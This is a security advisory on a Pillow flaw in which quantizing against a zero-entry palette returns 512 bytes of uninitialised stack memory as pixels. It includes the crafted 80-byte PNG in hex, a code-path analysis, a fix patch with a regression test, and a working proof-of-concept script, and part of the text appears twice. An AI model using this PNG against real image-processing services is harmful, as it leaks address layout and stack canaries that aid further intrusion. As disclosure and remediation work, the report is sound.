============================================================================
Image.quantize() with empty palette leaks uninitialized stack memory
Location: src/libImaging/Palette.c:216 in ImagingPaletteCacheUpdate()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
When an application lets a user supply the palette image for Pillow's Image.quantize(palette=...), the user can get back 512 bytes of the server process's stack memory in the pixels of the returned image. An 80-byte PNG with an empty palette is enough, and the leaked bytes survive saving to PNG or GIF. In the runs examined, those bytes included memory addresses inside the stack, heap, libc, libpython and Pillow's own C module, along with the stack-protector canary.
The bug is in ImagingPaletteCacheUpdate() in src/libImaging/Palette.c. It fills a local UINT8 c[512] only inside loops bounded by palette->size. When the palette has zero entries, the array is never written, but it is still copied into the colour cache. topalette() in src/libImaging/Convert.c then emits the cached values as output pixel indices. topalette() rejects a NULL palette but not one with size == 0. Three inputs produce such a zero-entry "P" image: a PNG with a zero-length PLTE chunk opened with Image.open(), a colour-mapped TGA with colour-map length 0, or a bare Image.new("P", ...). The attacker must control the palette image; the source image can be anything, and RGB sources are affected with either dither mode. There is no out-of-bounds access and no memory corruption. The consequence is a bounded stack disclosure that can reveal address layout and the canary of a long-lived worker, with no crash and no log entry. The attached reproducer quantizes a 512-colour strip against the empty-palette PNG and finds 8 of the 64 output words pointing into the process's own [stack] mapping, while a one-entry palette control yields all zeros. The behaviour was introduced in commit 54cb09d8b48c (first released in 9.1.0). The Image.new("P", ...) route exists since 10.1.0.
Details
ImagingPaletteCacheUpdate() (src/libImaging/Palette.c:154) computes, for one 8×8×8 box of the colour cache, the nearest palette index for each of the 512 slots into a local UINT8 c[512] and then copies c[] into the cache. c[] is only ever written inside for (i = 0; i < palette->size; i++). When the palette has zero entries nothing writes it, the untouched stack bytes are copied into the cache, and topalette() (src/libImaging/Convert.c:1145) emits them as the output pixels of Image.quantize(palette=...). The root cause is that topalette() only rejects a NULL palette, never one with palette->size == 0, while ImagingPaletteCacheUpdate() silently assumes size >= 1. A zero-entry "P" image is what Image.open() produces for a PNG whose PLTE chunk has length 0 (or a colour-mapped TGA with colour-map length 0); Image.new("P", size) without a subsequent putpalette() yields one as well. Both dither modes (Dither.NONE and the default Floyd-Steinberg) are affected for RGB sources (an L source takes the grayscale copy path and never consults the cache).
Showing it with the installed build, no special flags. The 80-byte PNG below is 4×4, bit depth 8, colour type 3, with a zero-length PLTE and an all-zero IDAT:
89504e470d0a1a0a 0000000d49484452 0000000400000004 0803000000 9e2f6e4c
00000000 504c5445 4ba88955
0000000b 49444154 789c6360c0040000140001 7dfe1eee
00000000 49454e44 ae426082
pal = Image.open(io.BytesIO(png)); pal.load() # pal.mode == "P", pal.im.getpalette("RGB") == b""
src = Image.new("RGB", (512, 1))
src.putdata([(r*4, g*4, b*4) for r in range(8) for g in range(8) for b in range(8)])
out = src.quantize(palette=pal, dither=Image.Dither.NONE)
out.tobytes() # 512 bytes, different in every process
The 512 source colours are chosen so that each pixel lands in a distinct slot of the cache box for r,g,b ∈ [0,32), in slot order, so out.tobytes() is exactly c[0..511]. Read as 64 little-endian 8-byte words and resolved against the same process's /proc/self/maps, a typical run gives 43 words that are addresses inside the process's own mappings — 8 in [stack], several in [heap], libc.so.6, libpython3.12.so and _imaging.cpython-312-x86_64-linux-gnu.so — and 3 words equal to the thread's stack-protector canary (read from fs:0x28 for comparison). The same PNG with a 3-byte PLTE (one entry) gives 512 zero bytes in every run. out.save(buf, "PNG") succeeds, so the bytes leave the process in an ordinary image. Under valgrind (run against a strip --strip-debug copy of _imaging.so or a gcc build, since valgrind 3.19 cannot read clang's DWARF5) the report carries the origin Uninitialised value was created by a stack allocation at ImagingPaletteCacheUpdate. With Dither.NONE topalette only copies the bytes, so the first use of uninitialised value is flagged where Python first branches on the pixel data; with the default Floyd-Steinberg dither it is flagged inside topalette (inlined into ImagingConvert), where the cached index is used to address palette->palette.
Code path
File → empty C palette. PngImagePlugin.chunk_PLTE (src/PIL/PngImagePlugin.py:499-505) stores the chunk payload whatever its length, _open wraps it as ImagePalette.raw("RGB", b"") (:836-838), and Image.load() realises it with self.im.putpalette("RGB", "RGB", b"") (src/PIL/Image.py:989-990). _putpalette (src/_imaging.c:1850-1868) rejects only more than 256 entries and sets palette->size = palettesize * 8 / bits, i.e. 0. TgaImagePlugin._open (src/PIL/TgaImagePlugin.py:121-135) builds the same empty palette from a colour-mapped TGA whose colour-map-length field is 0.
API → sink. Image.quantize(palette=pal) (src/PIL/Image.py:1329-1338) checks only palette.mode == "P" and calls self.im.convert("P", dither, palette.im) → ImagingConvert → topalette(..., inpalette=<that palette>, dither). topalette tests the palette for NULL (Convert.c:1162, :1178) but not for size == 0, allocates the cache (every slot 0x100 = "not computed"), and for each source pixel:
// src/libImaging/Convert.c:1319-1327 (non-dither path; the dither path at 1252-1265 is the same)
cache = &ImagingPaletteCache(palette, r, g, b);
if (cache[0] == 0x100) {
ImagingPaletteCacheUpdate(palette, r, g, b);
}
…
out[x] = (UINT8)cache[0];
Inside ImagingPaletteCacheUpdate the only store to c[] is in step 2, and both step 1 and step 2 iterate over palette entries:
// src/libImaging/Palette.c:160-161
unsigned int d[BOXVOLUME];
UINT8 c[BOXVOLUME];
…
// src/libImaging/Palette.c:212-221, 240-242
for (i = 0; i < BOXVOLUME; i++) {
d[i] = (unsigned int)~0; /* d[] is initialised, c[] is not */
}
for (i = 0; i < palette->size; i++) { /* size == 0: body never runs */
if (dmin[i] <= dmax) {
…
if ((unsigned int)bd < d[j]) {
d[j] = bd;
c[j] = (UINT8)i;
}
For any non-empty palette every slot is written: the entry that produced dmax passes dmin[i] <= dmax, and because d[j] starts at ~0 the first visiting entry always stores into c[j]. With size == 0 the loop is skipped entirely and step 3 publishes the raw stack array:
// src/libImaging/Palette.c:262-266
j = 0;
for (r = r0; r < r1; r += 4) {
for (g = g0; g < g1; g += 4) {
for (b = b0; b < b1; b += 4) {
ImagingPaletteCache(palette, r, g, b) = c[j++];
cache[0] is then ≤ 255 and palette->palette is a fixed 1024-byte array, so the subsequent palette->palette[cache[0] * 4] reads in the dither path stay in bounds; the defect is purely that stack contents become pixel values. Because no deeper call happens between successive ImagingPaletteCacheUpdate invocations in the pixel loop, every box yields the same 512 bytes — whatever earlier, deeper call chains (the PNG decode, the interpreter) left at that stack depth.
The behaviour was introduced in 54cb09d8b48c ("When converting to P, restrict colors to palette size", 2022-02-16), first released in 9.1.0; before it, the cache update iterated over all 256 palette slots. The Image.new("P", ...) route additionally depends on fd310512b95a ("Set C palette to be empty by default", first in 10.1.0); before that a fresh "P" image carried a 256-entry grey ramp.
Impact
An application that lets a user supply the reference palette image for Image.quantize(palette=...) — palette-swap / "apply this palette" features, sprite and GIF tooling, pixel-art converters — and returns the quantised result hands that user 512 bytes of the worker's C stack, encoded as pixel indices (directly readable from the saved PNG/GIF, since index values survive losslessly). In the build examined those bytes contain return addresses and frame pointers into the stack, heap, libc, libpython and _imaging.so, plus the stack-protector canary: an ASLR and canary disclosure from a long-lived server process, obtained with an 80-byte upload, no crash and no log entry. The precondition is that the attacker controls the palette image (the source image can be anything with at least one colour per cache box of interest); when the palette image is application-owned the path is not reachable. There is no out-of-bounds access and no memory corruption.
Reproducing
repro is a short, single-file Python script that runs against the installed Pillow. It doesn't rebuild anything or start any other process, and it finishes in about 0.1 s.
png_with_plte() builds a 4×4 palette-mode PNG (bit depth 8, colour type 3) around a given PLTE payload. With an empty payload it produces exactly the 80-byte file shown above.
quantize_against() does what an "apply this palette" feature does: it opens the PNG with Image.open() and calls quantize(palette=pal, dither=Image.Dither.NONE) on a 512×1 RGB strip. The strip holds the colours (r*4, g*4, b*4) for r, g, b in 0..7, one for each slot of the colour-cache box r, g, b ∈ [0,32) and in slot order. That makes output pixel j exactly c[j] of ImagingPaletteCacheUpdate().
- Control: a one-entry
PLTE. The only valid index is 0, and every output pixel is 0.
- Attack: the same PNG with a zero-length
PLTE. quantize() returns an image without complaint, and its pixels contain about 80 distinct values.
- Check: the script reads the 512 output bytes as 64 little-endian 8-byte words and compares them with the
[stack] range in the script's own /proc/self/maps. It prints each word that points into the stack. A typical run finds 8, e.g. pixels 0..7 = 0x00007ffd959c3fa0 <- pointer into [stack]. Pixel data can only hold stack addresses if it was copied from the stack.
The script prints BUG if the control is all zeros and at least two output words are stack addresses. It prints OK if quantize() rejects the empty palette with ValueError, which is what the attached patch does, or if the output has no stack pointers. The script was also checked against an out-of-tree rebuild, which is not part of the script. With the attached patch it prints attack (empty PLTE): rejected: empty palette / OK. With only the Palette.c half of the patch, the output is 512 zero bytes and it prints OK.
Suggested fix
The attached patch rejects an empty palette in topalette() before any work is done, with ValueError("empty palette") in the same idiom as the neighbouring "no palette" / "conversion not supported" checks, so Image.quantize() raises a normal ValueError. It also zero-fills c[] alongside d[] in ImagingPaletteCacheUpdate() so no present or future caller can copy stack contents into the cache, and adds a regression test test_empty_palette to Tests/test_image_quantize.py. quantize(palette=) is the only path that hands a caller-supplied palette to topalette(); the NULL-palette branches always build 256- or 226-entry palettes and are unaffected. The one behaviour change is that quantizing against an empty palette (including a bare Image.new("P", ...)) now raises instead of returning garbage indices. The C changes:
--- a/src/libImaging/Convert.c
+++ b/src/libImaging/Convert.c
@@ -1159,6 +1159,10 @@ topalette(
alpha = mode == IMAGING_MODE_PA;
+ if (palette != NULL && palette->size <= 0) {
+ return (Imaging)ImagingError_ValueError("empty palette");
+ }
+
if (palette == NULL) {
/* FIXME: make user configurable */
if (imIn->bands == 1) {
--- a/src/libImaging/Palette.c
+++ b/src/libImaging/Palette.c
@@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) {
for (i = 0; i < BOXVOLUME; i++) {
d[i] = (unsigned int)~0;
+ c[i] = 0;
}
for (i = 0; i < palette->size; i++) {
Applied to a clean copy of the tree and rebuilt, the reproducer's attack step fails with ValueError: empty palette and the script prints OK; the one-entry control is unchanged. Apart from the regression test, the patch does not touch the Python code in src/PIL. Optionally PngImagePlugin.chunk_PLTE could additionally raise SyntaxError for a PLTE whose length is 0 or not a multiple of 3, as the PNG specification requires 1–256 entries, and Image.quantize() could raise a clearer Python-level error when palette.palette is empty.
The patch
Raise ValueError in topalette() for a palette with no entries and zero-initialise the cache slot array in ImagingPaletteCacheUpdate()
Applies to src/libImaging/Convert.c at the commit above.
diff --git a/Tests/test_image_quantize.py b/Tests/test_image_quantize.py
index 887628560..dcd1d901e 100644
--- a/Tests/test_image_quantize.py
+++ b/Tests/test_image_quantize.py
@@ -179,3 +179,13 @@ def test_small_palette() -> None:
quantized_colors = im.getcolors()
assert quantized_colors is not None
assert len(quantized_colors) == 2
+
+
+def test_empty_palette() -> None:
+ im = hopper()
+
+ p = Image.new("P", (1, 1))
+ p.putpalette(b"")
+
+ with pytest.raises(ValueError):
+ im.quantize(palette=p)
diff --git a/src/libImaging/Convert.c b/src/libImaging/Convert.c
index 4a35a9a1f..7746d9255 100644
--- a/src/libImaging/Convert.c
+++ b/src/libImaging/Convert.c
@@ -1159,6 +1159,10 @@ topalette(
alpha = mode == IMAGING_MODE_PA;
+ if (palette != NULL && palette->size <= 0) {
+ return (Imaging)ImagingError_ValueError("empty palette");
+ }
+
if (palette == NULL) {
/* FIXME: make user configurable */
if (imIn->bands == 1) {
diff --git a/src/libImaging/Palette.c b/src/libImaging/Palette.c
index b2dacf656..ceb69d3dc 100644
--- a/src/libImaging/Palette.c
+++ b/src/libImaging/Palette.c
@@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) {
for (i = 0; i < BOXVOLUME; i++) {
d[i] = (unsigned int)~0;
+ c[i] = 0;
}
for (i = 0; i < palette->size; i++) {
The reproducer
Reproducer — repro, 2,975 bytes (click to open)
Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.
#!/usr/bin/env python3
# Pillow: Image.quantize(palette=<P image with an empty palette>) returns
# uninitialised C stack bytes as pixel values.
#
# ImagingPaletteCacheUpdate() (src/libImaging/Palette.c) only writes its local
# UINT8 c[512] inside `for (i = 0; i < palette->size; i++)`. A PNG with a
# zero-length PLTE chunk gives palette->size == 0, so c[] is never written and
# its raw stack contents are copied into the colour cache, which topalette()
# (src/libImaging/Convert.c) then emits as the output pixels.
import io
import struct
import zlib
from PIL import Image
def png_with_plte(plte):
"""A 4x4 palette-mode (colour type 3) PNG whose PLTE chunk holds `plte`."""
def chunk(tag, data):
return (struct.pack(">I", len(data)) + tag + data
+ struct.pack(">I", zlib.crc32(tag + data)))
ihdr = struct.pack(">IIBBBBB", 4, 4, 8, 3, 0, 0, 0)
pixels = zlib.compress(b"\x00" * 4 * 5)
return (b"\x89PNG\r\n\x1a\n" + chunk(b"IHDR", ihdr) + chunk(b"PLTE", plte)
+ chunk(b"IDAT", pixels) + chunk(b"IEND", b""))
def quantize_against(palette_png):
"""What an "apply this palette" feature does with an uploaded palette image."""
pal = Image.open(io.BytesIO(palette_png))
# 512 colours, one per slot of the colour-cache box r,g,b in [0,32), in slot
# order: output pixel j is exactly c[j] of ImagingPaletteCacheUpdate().
src = Image.new("RGB", (512, 1))
src.putdata([(r * 4, g * 4, b * 4)
for r in range(8) for g in range(8) for b in range(8)])
return src.quantize(palette=pal, dither=Image.Dither.NONE).tobytes()
def stack_range():
for line in open("/proc/self/maps"):
if line.rstrip().endswith("[stack]"):
lo, hi = line.split()[0].split("-")
return int(lo, 16), int(hi, 16)
# Control: a one-entry palette -- every pixel must map to index 0.
control = quantize_against(png_with_plte(b"\x10\x20\x30"))
print(f"control (1-entry PLTE): distinct pixel values = {sorted(set(control))}")
# Attack: the same PNG with an empty PLTE chunk (80 bytes).
try:
leaked = quantize_against(png_with_plte(b""))
except ValueError as e:
print(f"attack (empty PLTE): rejected: {e}")
print("OK")
raise SystemExit
print(f"attack (empty PLTE): {len(set(leaked))} distinct pixel values; first 64 bytes:")
print(f" {leaked[:64].hex()}")
# Read the 512 pixel bytes as 64 little-endian words; any word that is an
# address inside this process's own stack can only have come from the stack.
lo, hi = stack_range()
print(f"this process's [stack] mapping: {lo:#x}-{hi:#x}")
stack_ptrs = 0
for i in range(0, 512, 8):
word = int.from_bytes(leaked[i:i + 8], "little")
if lo <= word < hi:
stack_ptrs += 1
print(f" pixels {i:3d}..{i + 7:3d} = {word:#018x} <- pointer into [stack]")
print(f"{stack_ptrs} of 64 words of the output image are stack addresses")
print("BUG" if set(control) == {0} and stack_ptrs >= 2 else "OK")
References
When an application lets a user supply the palette image for Pillow's
Image.quantize(palette=...), the user can get back 512 bytes of the server process's stack memory in the pixels of the returned image. An 80-byte PNG with an empty palette is enough, and the leaked bytes survive saving to PNG or GIF. In the runs examined, those bytes included memory addresses inside the stack, heap, libc, libpython and Pillow's own C module, along with the stack-protector canary.The bug is in
ImagingPaletteCacheUpdate()insrc/libImaging/Palette.c. It fills a localUINT8 c[512]only inside loops bounded bypalette->size. When the palette has zero entries, the array is never written, but it is still copied into the colour cache.topalette()insrc/libImaging/Convert.cthen emits the cached values as output pixel indices.topalette()rejects aNULLpalette but not one withsize == 0. Three inputs produce such a zero-entry"P"image: a PNG with a zero-lengthPLTEchunk opened withImage.open(), a colour-mapped TGA with colour-map length 0, or a bareImage.new("P", ...). The attacker must control the palette image; the source image can be anything, andRGBsources are affected with either dither mode. There is no out-of-bounds access and no memory corruption. The consequence is a bounded stack disclosure that can reveal address layout and the canary of a long-lived worker, with no crash and no log entry. The attached reproducer quantizes a 512-colour strip against the empty-palette PNG and finds 8 of the 64 output words pointing into the process's own[stack]mapping, while a one-entry palette control yields all zeros. The behaviour was introduced in commit54cb09d8b48c(first released in 9.1.0). TheImage.new("P", ...)route exists since 10.1.0.Details
ImagingPaletteCacheUpdate()(src/libImaging/Palette.c:154) computes, for one 8×8×8 box of the colour cache, the nearest palette index for each of the 512 slots into a localUINT8 c[512]and then copiesc[]into the cache.c[]is only ever written insidefor (i = 0; i < palette->size; i++). When the palette has zero entries nothing writes it, the untouched stack bytes are copied into the cache, andtopalette()(src/libImaging/Convert.c:1145) emits them as the output pixels ofImage.quantize(palette=...). The root cause is thattopalette()only rejects aNULLpalette, never one withpalette->size == 0, whileImagingPaletteCacheUpdate()silently assumessize >= 1. A zero-entry"P"image is whatImage.open()produces for a PNG whosePLTEchunk has length 0 (or a colour-mapped TGA with colour-map length 0);Image.new("P", size)without a subsequentputpalette()yields one as well. Both dither modes (Dither.NONEand the default Floyd-Steinberg) are affected forRGBsources (anLsource takes the grayscale copy path and never consults the cache).Showing it with the installed build, no special flags. The 80-byte PNG below is 4×4, bit depth 8, colour type 3, with a zero-length
PLTEand an all-zeroIDAT:The 512 source colours are chosen so that each pixel lands in a distinct slot of the cache box for
r,g,b ∈ [0,32), in slot order, soout.tobytes()is exactlyc[0..511]. Read as 64 little-endian 8-byte words and resolved against the same process's/proc/self/maps, a typical run gives 43 words that are addresses inside the process's own mappings — 8 in[stack], several in[heap],libc.so.6,libpython3.12.soand_imaging.cpython-312-x86_64-linux-gnu.so— and 3 words equal to the thread's stack-protector canary (read fromfs:0x28for comparison). The same PNG with a 3-bytePLTE(one entry) gives 512 zero bytes in every run.out.save(buf, "PNG")succeeds, so the bytes leave the process in an ordinary image. Under valgrind (run against astrip --strip-debugcopy of_imaging.soor a gcc build, since valgrind 3.19 cannot read clang's DWARF5) the report carries the originUninitialised value was created by a stack allocation at ImagingPaletteCacheUpdate. WithDither.NONEtopaletteonly copies the bytes, so the firstuse of uninitialised valueis flagged where Python first branches on the pixel data; with the default Floyd-Steinberg dither it is flagged insidetopalette(inlined intoImagingConvert), where the cached index is used to addresspalette->palette.Code path
File → empty C palette.
PngImagePlugin.chunk_PLTE(src/PIL/PngImagePlugin.py:499-505) stores the chunk payload whatever its length,_openwraps it asImagePalette.raw("RGB", b"")(:836-838), andImage.load()realises it withself.im.putpalette("RGB", "RGB", b"")(src/PIL/Image.py:989-990)._putpalette(src/_imaging.c:1850-1868) rejects only more than 256 entries and setspalette->size = palettesize * 8 / bits, i.e. 0.TgaImagePlugin._open(src/PIL/TgaImagePlugin.py:121-135) builds the same empty palette from a colour-mapped TGA whose colour-map-length field is 0.API → sink.
Image.quantize(palette=pal)(src/PIL/Image.py:1329-1338) checks onlypalette.mode == "P"and callsself.im.convert("P", dither, palette.im)→ImagingConvert→topalette(..., inpalette=<that palette>, dither).topalettetests the palette forNULL(Convert.c:1162,:1178) but not forsize == 0, allocates the cache (every slot0x100= "not computed"), and for each source pixel:Inside
ImagingPaletteCacheUpdatethe only store toc[]is in step 2, and both step 1 and step 2 iterate over palette entries:For any non-empty palette every slot is written: the entry that produced
dmaxpassesdmin[i] <= dmax, and becaused[j]starts at~0the first visiting entry always stores intoc[j]. Withsize == 0the loop is skipped entirely and step 3 publishes the raw stack array:cache[0]is then ≤ 255 andpalette->paletteis a fixed 1024-byte array, so the subsequentpalette->palette[cache[0] * 4]reads in the dither path stay in bounds; the defect is purely that stack contents become pixel values. Because no deeper call happens between successiveImagingPaletteCacheUpdateinvocations in the pixel loop, every box yields the same 512 bytes — whatever earlier, deeper call chains (the PNG decode, the interpreter) left at that stack depth.The behaviour was introduced in
54cb09d8b48c("When converting to P, restrict colors to palette size", 2022-02-16), first released in 9.1.0; before it, the cache update iterated over all 256 palette slots. TheImage.new("P", ...)route additionally depends onfd310512b95a("Set C palette to be empty by default", first in 10.1.0); before that a fresh"P"image carried a 256-entry grey ramp.Impact
An application that lets a user supply the reference palette image for
Image.quantize(palette=...)— palette-swap / "apply this palette" features, sprite and GIF tooling, pixel-art converters — and returns the quantised result hands that user 512 bytes of the worker's C stack, encoded as pixel indices (directly readable from the saved PNG/GIF, since index values survive losslessly). In the build examined those bytes contain return addresses and frame pointers into the stack, heap, libc, libpython and_imaging.so, plus the stack-protector canary: an ASLR and canary disclosure from a long-lived server process, obtained with an 80-byte upload, no crash and no log entry. The precondition is that the attacker controls the palette image (the source image can be anything with at least one colour per cache box of interest); when the palette image is application-owned the path is not reachable. There is no out-of-bounds access and no memory corruption.Reproducing
reprois a short, single-file Python script that runs against the installed Pillow. It doesn't rebuild anything or start any other process, and it finishes in about 0.1 s.png_with_plte()builds a 4×4 palette-mode PNG (bit depth 8, colour type 3) around a givenPLTEpayload. With an empty payload it produces exactly the 80-byte file shown above.quantize_against()does what an "apply this palette" feature does: it opens the PNG withImage.open()and callsquantize(palette=pal, dither=Image.Dither.NONE)on a 512×1 RGB strip. The strip holds the colours(r*4, g*4, b*4)forr, g, bin0..7, one for each slot of the colour-cache boxr, g, b ∈ [0,32)and in slot order. That makes output pixeljexactlyc[j]ofImagingPaletteCacheUpdate().PLTE. The only valid index is 0, and every output pixel is 0.PLTE.quantize()returns an image without complaint, and its pixels contain about 80 distinct values.[stack]range in the script's own/proc/self/maps. It prints each word that points into the stack. A typical run finds 8, e.g.pixels 0..7 = 0x00007ffd959c3fa0 <- pointer into [stack]. Pixel data can only hold stack addresses if it was copied from the stack.The script prints
BUGif the control is all zeros and at least two output words are stack addresses. It printsOKifquantize()rejects the empty palette withValueError, which is what the attached patch does, or if the output has no stack pointers. The script was also checked against an out-of-tree rebuild, which is not part of the script. With the attached patch it printsattack (empty PLTE): rejected: empty palette/OK. With only thePalette.chalf of the patch, the output is 512 zero bytes and it printsOK.Suggested fix
The attached patch rejects an empty palette in
topalette()before any work is done, withValueError("empty palette")in the same idiom as the neighbouring "no palette" / "conversion not supported" checks, soImage.quantize()raises a normalValueError. It also zero-fillsc[]alongsided[]inImagingPaletteCacheUpdate()so no present or future caller can copy stack contents into the cache, and adds a regression testtest_empty_palettetoTests/test_image_quantize.py.quantize(palette=)is the only path that hands a caller-supplied palette totopalette(); theNULL-palette branches always build 256- or 226-entry palettes and are unaffected. The one behaviour change is that quantizing against an empty palette (including a bareImage.new("P", ...)) now raises instead of returning garbage indices. The C changes:Applied to a clean copy of the tree and rebuilt, the reproducer's attack step fails with
ValueError: empty paletteand the script printsOK; the one-entry control is unchanged. Apart from the regression test, the patch does not touch the Python code insrc/PIL. OptionallyPngImagePlugin.chunk_PLTEcould additionally raiseSyntaxErrorfor aPLTEwhose length is 0 or not a multiple of 3, as the PNG specification requires 1–256 entries, andImage.quantize()could raise a clearer Python-level error whenpalette.paletteis empty.The patch
Raise ValueError in topalette() for a palette with no entries and zero-initialise the cache slot array in ImagingPaletteCacheUpdate()
Applies to
src/libImaging/Convert.cat the commit above.The reproducer
Reproducer —
repro, 2,975 bytes (click to open)Its last line is
BUGwhen the issue triggers andOKwhen it does not. Re-run on a clean build of that commit it printedBUG.References